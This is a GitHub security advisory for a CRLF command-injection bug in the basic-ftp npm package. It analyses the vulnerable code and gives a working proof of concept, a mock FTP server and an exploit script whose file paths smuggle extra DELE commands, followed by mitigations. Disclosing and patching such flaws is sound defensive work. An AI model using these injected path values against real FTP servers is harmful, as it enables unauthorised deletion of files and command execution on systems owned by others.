GitHub Advisoryadvisory · npm
GHSA-chqc-8p9q-pq6q basic-ftp has FTP Command Injection via CRLF
HIGH
Official page ↗
- Aliases
- CVE-2026-39983
- Ecosystem
- npm
- Packages
- basic-ftp
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L
- Weaknesses
- CWE-93
- Reviewed
- 2026-04-08
Affected packages
• npm basic-ftp: >= 5.2.0, < 5.2.1 → fixed in 5.2.1
Description
Summary
`basic-ftp` version `5.2.0` allows FTP command injection via CRLF sequences (`\r\n`) in file path parameters passed to high-level path APIs such as `cd()`, `remove()`, `rename()`, `uploadFrom()`, `downloadTo()`, `list()`, and `removeDir()`. The library's `protectWhitespace()` helper only handles leading spaces and returns other paths unchanged, while `FtpContext.send()` writes the resulting command string directly to the control socket with `\r\n` appended. This lets attacker-controlled path strings split one intended FTP command into multiple commands.
Affected product
| Product | Affected versions | Fixed version |
| --- | --- | --- |
| basic-ftp (npm) | 5.2.0 (confirmed) | no fix available as of 2026-04-04 |
Vulnerability details
• CWE: `CWE-93` - Improper Neutralization of CRLF Sequences ('CRLF Injection')
• CVSS 3.1: `8.6` (`High`)
• Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L`
• Affected component: `dist/Client.js`, all path-handling methods via `protectWhitespace()` and `send()`
The vulnerability exists because of two interacting code patterns:
1. Inadequate path sanitization in `protectWhitespace()` (line 677):
```javascript
async protectWhitespace(path) {
if (!path.startsWith(" ")) {
return path; // No sanitization of \r\n characters
}
const pwd = await this.pwd();
const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
return absolutePathPrefix + path;
}
```
This function only handles leading whitespace. It does not strip or reject `\r` (0x0D) or `\n` (0x0A) characters anywhere in the path string.
2. Direct socket write in `send()` (FtpContext.js line 177):
```javascript
send(command) {
this._socket.write(command + "\r\n", this.encoding);
}
```
The `send()` method appends `\r\n` to the command and writes directly to the TCP socket. If the command string already contains `\r\n` sequences (from unsanitized path input), the FTP server interprets them as command delimiters, causing the single intended command to be split into multiple commands.
Affected methods (all call `protectWhitespace()` → `send()`):
• `cd(path)` → `CWD ${path}`
• `remove(path)` → `DELE ${path}`
• `list(path)` → `LIST ${path}`
• `downloadTo(localPath, remotePath)` → `RETR ${remotePath}`
• `uploadFrom(localPath, remotePath)` → `STOR ${remotePath}`
• `rename(srcPath, destPath)` → `RNFR ${srcPath}` / `RNTO ${destPath}`
• `removeDir(path)` → `RMD ${path}`
Technical impact
An attacker who controls file path parameters can inject arbitrary FTP protocol commands, enabling:
1. Arbitrary file deletion: Inject `DELE /critical-file` to delete files on the FTP server
2. Directory manipulation: Inject `MKD` or `RMD` commands to create/remove directories
3. File exfiltration: Inject `RETR` commands to trigger downloads of unintended files
4. Server command execution: On FTP servers supporting `SITE EXEC`, inject system commands
5. Session hijacking: Inject `USER`/`PASS` commands to re-authenticate as a different user
6. Service disruption: Inject `QUIT` to terminate the FTP session unexpectedly
The attack is realistic in applications that accept user input for FTP file paths — for example, web applications that allow users to specify files to download from or upload to an FTP server.
Proof of concept
Prerequisites:
```bash
mkdir basic-ftp-poc && cd basic-ftp-poc
npm init -y
npm install [email protected]
```
Mock FTP server (ftp-server-mock.js):
```javascript
const net = require('net');
const server = net.createServer(conn => {
console.log('[+] Client connected');
conn.write('220 Mock FTP\r\n');
let buffer = '';
conn.on('data', data => {
buffer += data.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('[CMD] ' + JSON.stringify(line));
if (line.startsWith('USER')) conn.write('331 OK\r\n');
else if (line.startsWith('PASS')) conn.write('230 Logged in\r\n');
else if (line.startsWith('FEAT')) conn.write('211 End\r\n');
else if (line.startsWith('TYPE')) conn.write('200 OK\r\n');
else if (line.startsWith('PWD')) conn.write('257 "/"\r\n');
else if (line.startsWith('OPTS')) conn.write('200 OK\r\n');
else if (line.startsWith('STRU')) conn.write('200 OK\r\n');
else if (line.startsWith('CWD')) conn.write('250 OK\r\n');
else if (line.startsWith('DELE')) conn.write('250 Deleted\r\n');
else if (line.startsWith('QUIT')) { conn.write('221 Bye\r\n'); conn.end(); }
else conn.write('200 OK\r\n');
}
});
});
server.listen(2121, () => console.log('[*] Mock FTP on port 2121'));
```
Exploit (poc.js):
```javascript
const ftp = require('basic-ftp');
async function exploit() {
const client = new ftp.Client();
client.ftp.verbose = true;
try {
await client.access({
host: '127.0.0.1',
port: 2121,
user: 'anonymous',
password: 'anonymous'
});
// Attack 1: Inject DELE command via cd()
// Intended: CWD harmless.txt
// Actual: CWD harmless.txt\r\nDELE /important-file.txt
const maliciousPath = "harmless.txt\r\nDELE /important-file.txt";
console.log('\n=== Attack 1: DELE injection via cd() ===');
try { await client.cd(maliciousPath); } catch(e) {}
// Attack 2: Double DELE via remove()
const maliciousPath2 = "decoy.txt\r\nDELE /secret-data.txt";
console.log('\n=== Attack 2: DELE injection via remove() ===');
try { await client.remove(maliciousPath2); } catch(e) {}
} finally {
client.close();
}
}
exploit();
```
Running the PoC:
```bash
Terminal 1: Start mock FTP server
node ftp-server-mock.js
Terminal 2: Run exploit
node poc.js
```
Expected output on mock server:
```
"OPTS UTF8 ON"
"USER anonymous"
"PASS anonymous"
"FEAT"
"TYPE I"
"STRU F"
"OPTS UTF8 ON"
"CWD harmless.txt"
"DELE /important-file.txt" <-- injected from cd()
"DELE decoy.txt"
"DELE /secret-data.txt" <-- injected from remove()
"QUIT"
```
This command trace was reproduced against the published `[email protected]`
package on Linux with a local mock FTP server. The injected `DELE` commands are
received as distinct FTP commands, confirming that CRLF inside path parameters
is not neutralized before socket write.
Mitigation
Immediate workaround: Sanitize all path inputs before passing them to basic-ftp:
```javascript
function sanitizeFtpPath(path) {
if (/[\r\n]/.test(path)) {
throw new Error('Invalid FTP path: contains control characters');
}
return path;
}
// Usage
await client.cd(sanitizeFtpPath(userInput));
```
Recommended fix for basic-ftp: The `protectWhitespace()` function (or a new validation layer) should reject or strip `\r` and `\n` characters from all path inputs:
```javascript
async protectWhitespace(path) {
// Reject CRLF injection attempts
if (/[\r\n\0]/.test(path)) {
throw new Error('Invalid path: contains control characters');
}
if (!path.startsWith(" ")) {
return path;
}
const pwd = await this.pwd();
const absolutePathPrefix = pwd.endsWith("/") ? pwd : pwd + "/";
return absolutePathPrefix + path;
}
```
References
• npm package: basic-ftp
• GitHub repository
• Vulnerable source: Client.js protectWhitespace()
• Vulnerable source: FtpContext.js send()
• CWE-93: Improper Neutralization of CRLF Sequences
• OWASP: CRLF Injection
Related
Alias · CVE (1)
- CVE-2026-39983 basic-ftp is an FTP client for Node.js. vulnerability
Weakness · CWE (1)
- CWE-93 Improper Neutralization of CRLF Sequences weakness
References
- https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-chqc-8p9q-pq6q web
- https://nvd.nist.gov/vuln/detail/CVE-2026-39983 advisory
- https://github.com/patrickjuchli/basic-ftp/commit/2ecc8e2c500c5234115f06fd1dbde1aa03d70f4b web
- https://github.com/patrickjuchli/basic-ftp package
- https://github.com/patrickjuchli/basic-ftp/releases/tag/v5.2.1 web